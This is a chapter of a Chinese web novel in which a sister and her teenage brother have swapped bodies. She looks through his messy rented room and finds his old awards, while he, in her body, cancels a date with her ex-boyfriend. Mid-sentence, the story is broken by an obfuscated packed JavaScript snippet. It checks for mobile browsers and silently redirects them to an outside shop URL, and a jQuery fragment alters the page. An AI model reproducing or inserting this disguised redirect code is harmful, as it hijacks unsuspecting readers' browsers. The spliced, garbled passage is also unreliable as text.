与此同时，上沙村。
沈知窈站在一栋握手楼下面，仰着头数楼层。
四楼……她弟住四楼，比自家楼层少两层。
楼梯是露天的，铁质的，踩上去哐当哐当响。扶手锈迹斑斑，上面糊着厚厚一层灰。她一层一层往上爬，爬到三楼的时候，听见楼上有人在吵架，女人的声音尖利，男人的声音低沉，混在一起听不清在骂什么。
四楼到了。
走廊很窄，只能容一个人通过。两边是一扇扇防盗门，门上贴满了小广告——疏通下水道、高价回收、□□。她弟的门在最里面，门上拴着一根红色的尼龙绳，绳子的另一头系在门框上的一个铁钩上。
她解开绳子，推开门。
一股混合的气味扑面而来——烟味、汗味、洗衣液的味道，还有一种说不清的、属于少年人的气息。她站在门口，看着这个不到十平米的房间。
一张单人床，床单是深蓝色的，皱成一团。一个衣柜，柜门半开着，露出里面乱七八糟的衣服。一张书桌，桌上堆着教辅资料、试卷、充电器、一个吃了一半的泡面桶。
地上也堆着东西，脏衣服、空瓶子、几双球鞋。
墙上贴着一张照片。
她走过去，凑近看。
是他们的合照。七年前的，她刚上大学那年拍的。照片里她穿着高中的校服——那时候自己还没毕业，校服还能穿，她弟穿着小学的校服，站在她旁边，笑得露出两颗虎牙。
她记得那天。是暑假，她回家，妈说你们姐弟俩拍张照吧。她本来不想拍，嫌麻烦，但拗不过妈，就站在门口拍了一张。
她记得自己当时在想什么，在憧憬大学的军训，在想新同学，在想离开这个家之后的新生活。她没看她弟，没注意他笑得那么开心，没注意他的手偷偷拉着她的衣角。
七年了。
照片的边角已经卷起来了，但被人用透明胶小心翼翼地粘好，贴在墙上最显眼的位置。
她在床边坐下，环顾四周。
这间屋子很小，很乱，很破，但这是她弟生活的地方。她弟每天在这里睡觉，在这里发呆，在这里抽烟。
她看见窗台上放着一个烟灰缸，里面有好几个烟头。
一股无名火烧起来了，臭小子，居然还学会了抽烟。
她想起小时候，她弟总爱跟着她，她去哪儿他就去哪儿，她干什么他就学着干什么。她嫌他烦，嫌他碍事，嫌他像个跟屁虫。后来她上大学了，离家远了，回来得少了，再后来他就变成了另一个人——抽烟、打架、逃课、和社会上的人混。
沈知窈以为他变了，她甚至不知道是什么时候变的。
她一直以为他变成了她看不懂的那种人。
但她现在有机会走进他的生活，发现孩子们到了这个年龄段也没什么不一样的。
她走到书桌前，桌上堆着几本书，全是课本，但翻得不多，有几本甚至还是新的。她翻开最上面那本，扉页上写着三个字：沈渡舟。字迹有点潦草，但还算工整。
她继续往下翻，在课本下面发现一个笔记本。黑色的封皮，边角已经磨白了。她翻开，第一页是空白的，第二页也是空白的，第三页——
第三页上写着潦草的一行字：“如果我变成坏人，别怪我。”
她盯着那行字，看了很久。
后面的页面全是空白的。她翻到最后一页，也没再找到任何一个字。只有这一行，孤零零的，像一声没有回音的喊。
她把笔记本合上，放回原处。
然后她打开抽屉。
抽屉里很乱，有充电线、耳机、几个打火机、一盒没开封的烟。她拨开这些东西，在最底下发现一个塑料袋，里面装着什么东西，鼓鼓囊囊的。
她拿出来，打开。
是一沓奖状。
“三好学生”——日期落款是六年前。
“优秀班干部”——日期依旧是六年前。
“数学竞赛二等奖”——日期还是六年前。
她一张一张翻过去，翻到最后一张。
“进步之星”——日期是五年前。那是初一上学期，期中考试，他从班级三十多名进步到二十多名。
奖状上盖着学校的章，写着他当时的班级、他的名字。纸张已经泛黄了，边角有点卷，但保存得很好，没有折痕，没有污渍。
她看着那张奖状，想起初一那年的冬天。
那年她大三，寒假回家，妈说弟弟最近成绩下滑了，老师打电话来说他上课走神，作业也不好好写。
她没当回事，觉得男孩子嘛，青春期，正常。后来开学了，她回学校，继续忙自己的事，再后来听说他打架了，被叫家长了，开始和社会上的人混了。
她从来没问过他为什么。
她从来没想过，那个考过进步之星的小孩，是怎么一步一步变成现在这样的。
她把奖状放回塑料袋里，放回抽屉最底下，把那些杂物理好，盖上抽屉。
然后她坐回床边，低头看着自己的手。
她弟的手。
骨节分明，手背上有几道细小的划痕，虎口处缠着纱布。这只手打过架，抽过烟，也曾经在小学的课堂上举起来回答过问题，曾经在数学竞赛的试卷上写下过答案。
她把手握起来，握成拳。
手机震了。
是她弟的手机——她现在的手机。屏幕上跳出一条消息，备注是“黄毛”：“渡哥，你今天来不来？老地方。”
她盯着那条消息，不知道该怎么回。
老地方是什么地方？黄毛是谁？渡哥是她弟的绰号，她该用这个身份说什么？
她想了两秒，打了三个字：“今天不。”
发出去之后，她有点后悔。她弟平时说话是这种语气吗？是不是太冷淡了？会不会被人怀疑？
但消息已经发出去了，收不回来。
又震了，还是黄毛：“咋了哥？生病了？”
她想了想，回：“嗯。”
黄毛：“操，你还能生病？行吧，好好歇着，改天找你。”
她松了口气，把手机放下。
窗外传来一阵嘈杂的声音，楼下有人在收废品，三轮车的喇叭循环播放着“回收旧冰箱旧空调旧洗衣机”。
午后的阳光从窗户照进来，落在床上，落在她脚边。
她坐在那里，第一次用她弟的眼睛，看向她弟的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345247|199519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生活。
傍晚的时候，沈渡舟从那间整洁得不像话的公寓里出来，下楼走到小区门口的便利店。
他饿了。
沈知窈的冰箱里没什么吃的，除了几盒酸奶，一袋快要过期的吐司，两根蔫了的黄瓜，实在是拿不出手。他不想吃那些，他想吃热的东西。
便利店不大，货架摆得满满当当。他走进去，在快餐区站定，看着那些标着价格的盒饭。红烧肉、番茄炒蛋、土豆丝，一份十五块。
他掏出他姐的钱包，抽出一张二十的，买了份盒饭，又拿了瓶水。
收银的小姑娘看了他一眼，愣了一下，然后迅速低下头去。
他没在意，端着盒饭走到窗边的高脚凳上坐下，打开盖子，开始吃。
吃了一口，他发现不对劲。
那小姑娘一直在偷看他。不是那种花痴的偷看，是那种“这人怎么怪怪的”的偷看。
他低头看了看自己——沈知窈的衣服，沈知窈的身体，沈知窈吃饭的姿势。他不知道他姐平时怎么吃饭，他只能按照自己的方式来，大口大口地往嘴里扒，嚼得很快，腮帮子鼓起来。
那小姑娘又在看他。
他停下来，把嘴里的东西咽下去，擦了擦嘴角，放慢速度，小口小口地吃。
那小姑娘不再看他了。
他松了口气，继续吃饭，但总觉得哪里不对。他姐平时吃饭就这样？一小口一小口，像鸟一样？他想起他姐回家的次数不多，每次回来吃饭，都是坐在餐桌前，低着头，很快吃完，然后说“我还有点事”，就进屋了。
他从没注意过她怎么吃。
他从没注意过她任何事。
吃完饭，他把垃圾扔进垃圾桶，走出便利店。
天黑了，路灯亮起来，路上的人变少了，他站在便利店门口，不知道该往哪走。
回那个公寓？继续躺在那张整洁的床上，盯着那两个药瓶发呆？
他突然想起一件事，他姐今天有约！她手机上有个日程提醒，晚上七点和“林老师”有约。
林老师，沈知窈谈了三年的男朋友，他见过，衣冠楚楚，是个知识分子，后来不知道什么原因分了。
他苦苦哀求了许久，沈知窈想趁着最后一次见面，和他断个干净，结果就遇到这一档子事……
沈知窈告诉沈渡舟，说林嘉文这家伙死缠烂打不知羞耻，说什么直接拒绝或者不搭理就好。
他掏出手机，翻到聊天记录，找到那个叫“林”的人。
最后几条消息是昨天的——
林：窈窈，明天晚上有空吗？想跟你聊聊。
沈知窈：没什么好聊的。
林：请给我一次解释的机会吧，不是像你想的那样，我的心里只有你。
沈知窈：好，最后一次。
林：那老地方见？七点？
沈知窈：好的。
老地方，又是老地方。沈渡舟快要崩溃了，谈恋爱非得用暗号么？
他回了条消息：“今晚有事，下次再说吧。”
对方很快回了：“今晚不能见到你了么？”
沈渡舟深吸一口气：“是的，今晚你见不到我了，我很累需要休息。”